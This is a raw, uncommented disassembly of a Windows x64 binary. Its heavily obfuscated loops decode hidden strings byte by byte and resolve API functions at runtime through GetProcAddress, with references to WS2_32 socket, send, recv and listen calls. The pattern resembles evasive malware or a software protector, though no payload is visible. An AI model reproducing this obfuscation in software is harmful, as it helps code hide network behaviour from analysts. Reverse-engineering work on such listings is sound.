nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14006ba1d
nop dword [rax]
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14006b9fa
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14006b9d5
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006b9b2
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14006b993
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14006b977
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14006b958
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14006b92a
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006b5a0
mov rbx, rax
lea r8, [rax + 0x10]
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14006bf66
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14006bf49
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14006b712
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14006b6f7
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14006b8d9
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14006b88f
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14006b847
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14006b5a0
lea rbx, [r8 + 8]
lea r8, [rbx + 8]
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14006b816
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14006b7f7
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14006b7d8
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14006b7b9
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14006b797
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14006b775
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14006b750
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14006b72d
lea rbx, [r8 + 4]
lea r8, [rbx + 4]
jmp 0x14006b5a0
lea ecx, [r11 - 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 7
jmp 0x14006b590
lea ecx, [r11 - 0x75]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x33
jmp 0x14006b4a8
lea edx, [r11 + 8]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x38
add dil, dl
movzx r9d, r11b
jmp 0x14006bdb3
lea ecx, [r11 + 0x4e]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x22
inc r8
dec r11
inc r11
jmp 0x14006b495
lea ecx, [r11 - 0x6c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0xc
dec r11
inc r11
jmp 0x14006b495
lea edx, [r11 + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
add rbx, r8
jmp 0x14006be7a
lea edx, [r11 + 0x66]
movzx eax, r10b
and al, dl
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006be7a
lea edx, [r11 - 0x54]
movzx eax, r10b
and al, dl
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006beac
lea edx, [r11 - 0xe]
movzx eax, r10b
and al, dl
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006bed7
lea edx, [r11 + 0x38]
movzx eax, r10b
and al, dl
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11 + 0xd0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006b495
lea edx, [r11 + 0x2d]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x3b
add dil, dl
cmp r8, 0x20
jb 0x14006bcbe
movzx r9d, r11b
lea edx, [r9 + 0xe]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14006bdb3
lea edx, [r11 + 0x73]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x25
add dil, dl
cmp rbx, 5
jae 0x14006bcce
lea rax, [r8 + 0x42]
cmp rbx, rax
jbe 0x14006bc05
lea edx, [r11 - 0x36]
movzx eax, r10b
and al, dl
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14006b85e
lea edx, [r11 - 0x47]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0xf
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 9
je 0x14006bcf9
lea rax, [r8 + 9]
cmp rbx, rax
jbe 0x14006bafb
lea edx, [r11 - 0x57]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x61
jmp 0x14006b8a6
lea ecx, [r11 - 0x3a]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x6a
movzx eax, byte [rbp + r11 + 0xd0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006b495
lea edx, [r11 + 0xc]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x54
add dil, dl
jmp 0x14006bed7
lea ecx, [r11 - 0x68]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x28
jmp 0x14006be7a
lea ecx, [r11 - 0x22]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x12
add rbx, r8
jmp 0x14006be7a
lea edx, [r11 + 0x24]
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx r9d, r11b
jmp 0x14006be3f
lea edx, [r11 + 0x6a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x14006b495
movzx r9d, r11b
lea edx, [r9 - 0xa]
movzx eax, dl
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006bdb3
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x14006ba41
lea ecx, [r11 - 0x23]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xb
jmp 0x14006b8f3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006ba7b
lea edx, [r11 + 0x42]
movzx eax, dl
and al, r10b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0xd0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006b495
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006baa3
lea edx, [r11 - 0x4a]
movzx eax, dl
and al, r10b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006beac
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006baca
lea ecx, [r11 + 0x2a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x26
add rbx, r8
jmp 0x14006be7a
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006b8f3
lea ecx, [r11 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
inc r8
dec r11
inc r11
jmp 0x14006b495
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006bb27
movzx r9d, r11b
lea edx, [r9 + 0x63]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x4b
add dil, dl
jmp 0x14006bdb3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006bb55
lea ecx, [r11 + 0x1d]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x35
inc r8
dec r11
inc r11
jmp 0x14006b495
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006bb7d
lea ecx, [r11 + 0x4b]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0xd
add rbx, r8
jmp 0x14006be7a
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006bba2
lea ecx, [r11 + 5]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x23
jmp 0x14006be7a
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006bbca
lea edx, [r11 - 0x41]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x39
add dil, dl
jmp 0x14006beac
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14006b8a9
lea ecx, [r11 + 0x33]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x65
movzx eax, byte [rbp + r11 + 0xd0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006b495
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006bc3f
lea edx, [r11 - 0x7c]
movzx eax, r10b
and al, dl
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11 + 0xd0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006b495
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006bc67
lea edx, [r11 + 0x3e]
movzx eax, r10b
and al, dl
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006bed7
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006bc8f
lea edx, [r11 - 8]
movzx eax, r10b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006beac
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006b861
lea ecx, [r11 - 0x20]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x20
dec r11
inc r11
jmp 0x14006b495
mov byte [rbp + r11 + 0xd0], dil
inc r11
jmp 0x14006b495
movzx r9d, r11b
lea edx, [r9 - 0x38]
movzx eax, r10b
and al, dl
add al, al
movzx edi, byte [rbp + r11 + 0xd0]
sub dil, al
sub dil, 0x78
add dil, r10b
add dil, dl
jmp 0x14006be3f
lea edx, [r11 - 0x7e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006beac
lea ecx, [r11 - 0x55]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x53
movzx eax, byte [rbp + r11 + 0xd0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006b495
lea ecx, [r11 + 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x7f
jmp 0x14006beac
lea ecx, [r11 + 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6b
jmp 0x14006be7a
lea ecx, [r11 + 0x4f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x29
dec r11
inc r11
jmp 0x14006b495
movzx r9d, r11b
lea ecx, [r9 - 0x25]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 3
sub r9b, 0x15
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x6d
add r10b, r9b
mov byte [rbp + r11 + 0xd0], r10b
inc r8
dec r11
inc r11
jmp 0x14006b495
lea ecx, [r11 - 0x53]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x45
inc r8
dec r11
inc r11
jmp 0x14006b495
lea ecx, [r11 - 0xd]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x5b
dec r11
inc r11
jmp 0x14006b495
movzx r9d, r11b
lea ecx, [r9 + 0x39]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x71
sub r9b, 0x5b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x7d
add r10b, dil
add r10b, r9b
mov byte [rbp + r11 + 0xd0], r10b
add rbx, r8
jmp 0x14006be7a
lea rcx, [r11 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x63
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14006b495
lea rcx, [r11 + r13]
movzx r10d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4d
lea edx, [r11 + 0x5f]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x67
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0xd0], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x3c]
movzx eax, r10b
and al, dl
mov ecx, 0x2e
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0xd0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0xd0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006b495
lea rcx, [r11 + r12]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x21
movzx eax, byte [rbp + r11 + 0xd0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006b495
sub r11b, 0x2f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
add dil, 0x49
jmp 0x14006b492
add r11b, 0x17
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
add dil, 0x5f
jmp 0x14006b482
lea rdx, [rbp + 0x17af14c]
jmp 0x14006bf9c
lea rdx, [rbp + 0xe43729]
jmp 0x14006bf9c
lea rdx, [rbp + 0xd0]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x68], rax
mov byte [rbp + 0x320], 0xc0
mov byte [rbp + 0x321], 0xe3
mov byte [rbp + 0x322], 0xcb
mov byte [rbp + 0x323], 0xf9
mov byte [rbp + 0x324], 0xe7
mov byte [rbp + 0x325], 0xfd
mov byte [rbp + 0x326], 0xc7
mov byte [rbp + 0x327], 0xeb
mov byte [rbp + 0x328], 0xf9
mov byte [rbp + 0x329], 0xd0
mov byte [rbp + 0x32a], 0xff
mov byte [rbp + 0x32b], 0xec
mov byte [rbp + 0x32c], 0xef
mov byte [rbp + 0x32d], 0xc0
mov byte [rbp + 0x32e], 0xc5
mov byte [rbp + 0x32f], 0xc2
mov byte [rbp + 0x330], 0x5c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x331], xmm0
mov qword [rbp + 0x341], rax
mov dword [rbp + 0x349], eax
mov word [rbp + 0x34d], ax
mov byte [rbp + 0x34f], al
movabs r14, 0x895258e8edc6e292
movabs r12, 0x9bf70abac954a7b6
movzx edi, byte [rbp + 0x400]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x30
jae 0x14006caea
movzx r11d, byte [rbp + r10 + 0x320]
mov r9, r11
nop word [rax + rax]
cmp rbx, r10
ja 0x14006cae1
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006c0bc
lea rcx, [r10 + r14]
mov rax, r11
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r11
add rdi, rcx
add dil, 2
jmp 0x14006c0e0
je 0x14006ca67
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006ca31
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006c9ef
nop dword [rax]
cmp r8, r10
ja 0x14006cad8
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x14006c10e
lea edx, [r10 - 6]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006c140
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006c9a4
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006c97c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006c96e
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14006c68d
nop dword [rax]
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006c66e
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14006c64a
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14006c629
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14006c60a
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14006c5ef
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006c5d4
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006c5b5
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14006c59a
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006c56d
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14006c150
lea rbx, [r8 + 6]
lea r8, [rbx + 0x61]
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14006cab8
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14006ca98
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14006c33f
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14006c320
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14006c301
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14006c527
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14006c4de
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14006c499
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14006c46f
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14006c150
lea rbx, [r8 + 6]
lea r8, [rbx + 0x61]
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14006c43e
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14006c41f
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14006c3fc
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14006c3dd
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14006c3cf
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14006c3bd
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14006c398
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14006c370
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14006c35e
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14006c150
lea rbx, [r8 + 0x64]
lea r8, [rbx + 0x61]
jmp 0x14006c150
lea edx, [r10 + 0x46]
movzx eax, dl
and al, r11b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006c140
lea edx, [r10 + 0x22]
movzx eax, dl
and al, r11b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006c0e0
lea edx, [r10 - 2]
movzx eax, dl
and al, r11b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006c087
lea edx, [r10 - 0x30]
mov ecx, 0x28
movzx r9d, r10b
jmp 0x14006c9b1
lea edx, [r10 - 0x54]
movzx eax, dl
and al, r11b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
inc r8
dec r10
inc r10
jmp 0x14006c074
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r10
inc r10
jmp 0x14006c074
lea edx, [r10 + 0x64]
mov ecx, 0x22
movzx r9d, r10b
jmp 0x14006c9fc
lea edx, [r10 + 0x40]
mov ecx, 0x20
jmp 0x14006ca3a
lea edx, [r10 + 0x1c]
movzx eax, dl
and al, r11b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006ca4e
lea edx, [r10 - 8]
movzx eax, dl
and al, r11b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx r9d, r10b
jmp 0x14006c8fc
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r11b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006c929
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r11b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x320]
add rax, r8
add r10, rax
inc r10
jmp 0x14006c074
lea edx, [r10 - 0x2a]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
mov byte [rbp + r10 + 0x320], dil
inc r10
jmp 0x14006c074
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
cmp r8, 0x3e8
jb 0x14006c489
movzx r9d, r10b
lea ecx, [r9 + 0x2c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edi, [rcx*2 - 0x68]
jmp 0x14006c9c2
lea edx, [r10 - 0x72]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
cmp rbx, 0xa
jae 0x14006c8c2
lea rax, [r8 + 0x5a]
cmp rbx, rax
jbe 0x14006c7ea
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x5c
jmp 0x14006c4b3
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
lea rax, [r8 + rbx]
cmp rax, 0xa
je 0x14006c8e7
lea rax, [r8 + 0x5a]
cmp rbx, rax
jbe 0x14006c755
lea edx, [r10 - 0x36]
movzx eax, dl
and al, r11b
mov ecx, 0x3d
jmp 0x14006c4ed
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 4
movzx eax, byte [rbp + r10 + 0x320]
add rax, r8
add r10, rax
inc r10
jmp 0x14006c074
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 8
jmp 0x14006c929
movzx r9d, r10b
lea ecx, [r9 - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0xc
jmp 0x14006c8fc
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x10
jmp 0x14006ca4e
lea ecx, [r10 + 0x4c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x14
jmp 0x14006ca4b
movzx r9d, r10b
lea ecx, [r9 + 0x28]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x18
jmp 0x14006ca0d
lea ecx, [r10 + 4]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x1c
dec r10
inc r10
jmp 0x14006c074
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x20
inc r8
dec r10
inc r10
jmp 0x14006c074
movzx r9d, r10b
lea ecx, [r9 - 0x44]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x24
jmp 0x14006c9c2
lea rcx, [r8 + 5]
cmp rbx, rcx
jae 0x14006c6aa
lea edx, [r10 - 0x6e]
movzx eax, dl
and al, r11b
mov ecx, 1
jmp 0x14006c536
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006c6e4
lea edx, [r10 - 0xc]
movzx eax, dl
and al, r11b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x320]
add rax, r8
add r10, rax
inc r10
jmp 0x14006c074
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006c710
movzx r9d, r10b
lea edx, [r9 + 0x3c]
movzx eax, dl
and al, r11b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006c8fc
cmp rbx, rcx
jne 0x14006c723
lea edx, [r10 - 0x7c]
mov ecx, 0x32
jmp 0x14006ca3a
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006c541
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r10
inc r10
jmp 0x14006c074
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006c770
movzx r9d, r10b
lea edx, [r9 - 0x12]
mov ecx, 0x3f
jmp 0x14006c9b1
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006c79a
lea ecx, [r10 + 0x36]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x7a
dec r10
inc r10
jmp 0x14006c074
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006c7be
lea ecx, [r10 + 0x7e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x72
jmp 0x14006ca4b
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006c4f8
movzx r9d, r10b
lea ecx, [r9 - 0x3a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x6a
jmp 0x14006c8fc
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006c820
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x58
movzx eax, byte [rbp + r10 + 0x320]
add rax, r8
add r10, rax
inc r10
jmp 0x14006c074
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006c848
movzx r9d, r10b
lea ecx, [r9 + 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x50
jmp 0x14006c8fc
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006c86c
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x48
jmp 0x14006ca4b
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006c896
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x40
dec r10
inc r10
jmp 0x14006c074
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006c4b3
movzx r9d, r10b
lea ecx, [r9 + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x38
jmp 0x14006c9c2
movzx r9d, r10b
lea edx, [r9 + 0x50]
movzx eax, dl
and al, r11b
add al, al
movzx edi, byte [rbp + r10 + 0x320]
sub dil, al
sub dil, 0x30
jmp 0x14006ca07
movzx r9d, r10b
lea ecx, [r9 + 0x74]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [rcx - 0x2c]
add r9b, 6
movzx eax, r11b
and al, r9b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x2a
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x320], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 - 0x68]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x28
add r11b, cl
mov byte [rbp + r10 + 0x320], r11b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x320]
add rax, r8
add r10, rax
inc r10
jmp 0x14006c074
lea edx, [r10 - 0x52]
mov ecx, 0x1f
jmp 0x14006ca3a
lea edx, [r10 + 0x42]
movzx eax, dl
and al, r11b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
inc r8
dec r10
inc r10
jmp 0x14006c074
movzx r9d, r10b
lea edx, [r9 + 0x1e]
mov ecx, reloc.WS2_32.dll_socket
movzx eax, dl
and al, r11b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
sub r9b, 0x42
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
